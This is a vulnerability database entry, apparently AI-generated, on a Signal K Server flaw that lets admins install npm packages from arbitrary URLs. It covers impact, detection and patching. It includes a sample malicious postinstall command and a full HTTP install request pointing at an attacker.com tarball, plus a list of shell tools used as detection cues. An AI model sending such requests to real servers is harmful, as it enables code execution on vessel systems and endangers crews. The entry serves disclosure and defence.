
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-68619 is a code injection vulnerability in Signal K Server, a marine vessel hub application, that allows administrators to achieve remote code execution via malicious npm package installation. Versions prior to 2.19.0 (including beta releases 2.19.0-beta1 through 2.19.0-beta4) are affected. The vulnerability was published on January 1, 2026, with a patch released the same day in version 2.19.0. It carries a CVSS v3.1 base score of 7.2 (High) and a CVSS v4.0 base score of 7.3 (High) (Github Advisory, SignalK Advisory).
The root cause is improper input sanitization (CWE-94) in the appstore REST API endpoint (src/interfaces/appstore.js, lines 46–76), which accepts a version URL parameter and passes it directly to npm without validation. While the endpoint verifies that the package name exists in the npm registry as a known plugin or webapp, it does not restrict the version parameter to semver format. npm's flexible version specifier syntax supports git repository URLs (git+https://), GitHub shorthand (user/repo), npm aliases (npm:package@version), and HTTP/HTTPS tarball URLs — all of which can point to attacker-controlled sources. When npm installs such a package, it automatically executes any postinstall script defined in package.json, resulting in arbitrary code execution with the privileges of the Signal K Server process (SignalK Advisory, Github Advisory).
Successful exploitation grants an attacker full code execution on the Signal K Server host with the process's privileges, enabling data theft, backdoor installation, lateral movement, and denial of service. Because Signal K Server acts as the central hub for marine vessel systems, a compromised server can inject malicious PGN messages onto the NMEA 2000 bus or forge NMEA 0183 sentences, potentially manipulating autopilot systems, spoofing AIS messages, altering GPS position data, injecting false depth sounder readings, or sending shutdown commands to electronically controlled engines. Many vessels expose Signal K to the internet for remote monitoring, significantly broadening the attack surface and creating potential physical safety risks to the vessel and crew (SignalK Advisory).
A proof-of-concept exploit (Python script using the tarball delivery method) is publicly available in the GitHub security advisory, demonstrating the full attack chain. There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.05% (0.00111), placing it in the 16th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires admin-level credentials, which limits the attack surface but does not eliminate risk given the advisory's mention of potential authentication bypass chains (Github Advisory, SignalK Advisory).
package.json containing a postinstall script (e.g., node -e "require('child_process').exec('id > /tmp/pwned')") and a minimal index.js plugin stub..tgz tarball from an attacker-controlled HTTP server (e.g., python3 -m http.server 9999), or host it on a git server or GitHub repository.POST /skServer/appstore/install/signalk-pushover-plugin/http%3A%2F%2Fattacker.com%3A9999%2Fpkg.tgz HTTP/1.1
Host: <target>:3000
Authorization: Bearer <admin_token>
Content-Length: 0postinstall script with the privileges of the Signal K Server process, achieving arbitrary code execution./skServer/appstore/install/<name>/<version> where the version field contains http://, https://, git+, github:, or npm: prefixes; unexpected outbound connections to attacker-controlled IPs or domains.%3A%2F%2F, git%2B, attacker); npm install output logs referencing non-registry sources or unexpected package names.node_modules directory corresponding to unknown packages; presence of web shells, reverse shell scripts, or cron jobs created by the Signal K process user; files such as /tmp/pwned or similar artifacts from PoC payloads.bash, sh, curl, wget, nc, python) visible via ps or process monitoring tools; unexpected network listeners opened by child processes of the Signal K Server (SignalK Advisory).Upgrade Signal K Server to version 2.19.0 or later, which contains the security fix; beta versions (2.19.0-beta1 through 2.19.0-beta4) remain vulnerable and should not be used. As interim mitigations, restrict admin access to the appstore interface to trusted users only, and consider using npm's --ignore-scripts flag to prevent automatic postinstall script execution. Network-level controls should be applied to limit outbound connections from the Signal K Server to only the official npm registry. Review audit logs for any suspicious package installations via the REST API endpoint, and implement an allowlist of approved packages where possible (SignalK Advisory, v2.19.0 Release).
The Signal K maintainer (tkurki/Teppo Kurki) published the advisory on January 1, 2026, and the v2.19.0 release notes explicitly flagged the update as containing "important security fixes," urging users with internet-exposed servers to update immediately. The advisory was credited to researcher atsc11, who provided a detailed write-up including multiple exploitation methods and a working Python PoC. The vulnerability was picked up by several security aggregators including Tenable, Red Hat, INCIBE, and CCN-CERT shortly after disclosure (v2.19.0 Release, SignalK Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."